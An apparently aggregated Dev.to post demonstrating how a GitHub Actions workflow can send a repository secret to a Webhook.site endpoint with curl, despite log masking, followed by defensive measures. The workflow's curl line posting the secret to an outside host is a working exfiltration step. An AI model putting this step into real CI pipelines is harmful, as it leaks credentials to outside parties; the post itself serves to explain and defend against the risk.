Dev.to Security 🔐 Cybersecurity 👁 0 📖 1 min read

Exposing GitHub Secrets in CI/CD Workflows

While writing GitHub Actions workflows, I wanted to test the boundaries around secret masking. GitHub masks secret values in build logs, but code running inside a workflow runner can still send those secrets across the n

Exposing GitHub Secrets in CI/CD Workflows

While writing GitHub Actions workflows, I wanted to test the boundaries around secret masking. GitHub masks secret values in build logs, but code running inside a workflow runner can still send those secrets across the network.

Here is a short proof of concept showing how a workflow can send a secret to an external HTTP endpoint.

How it works

Step 1: Define a target secret

Define a target secret

In the repository settings under Settings > Secrets and variables > Actions, I created a secret named FIND_ME containing a Base64 string.

FIND_ME = JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM=

Step 2: Set up an endpoint

Set up an endpoint

On Webhook.site, I generated a unique URL to receive incoming HTTP POST requests.

Step 3: Write the workflow

Write the workflow

I added .github/workflows/extract_github_secrets.yaml triggered by workflow_dispatch. The job uses curl to POST the secret value in the request body:

name: Extract Github Secrets

on: workflow_dispatch

jobs:
  extract-github-secrets:
    runs-on: ubuntu-22.04
    steps:
      - name: "Send Data to webhook.test"
        run: |
          curl -X POST https://webhook.site/f2592054-ab00-4fe6-9901-3c781cea2974 \
            --data '{"message": "${{ secrets.FIND_ME }}"}'

Step 4: Run and verify

Run and verify

I triggered the workflow manually from the Actions tab. The runner made the outbound request, and the plaintext secret value appeared in the Webhook.site logs:

{
  "message": "JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM="
}

Defense strategies

Log masking prevents accidental printing to stdout, but it cannot stop a job from transmitting secrets over HTTP.

To reduce this risk:

  • Limit secret access on untrusted triggers like pull_request from forks. Use pull_request_target with explicit review checks instead.
  • Scope secrets to specific GitHub Environments with protection rules.
  • Restrict outbound egress traffic on self-hosted runners using firewall rules.
  • Restrict GITHUB_TOKEN permissions to minimum required scopes.
📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.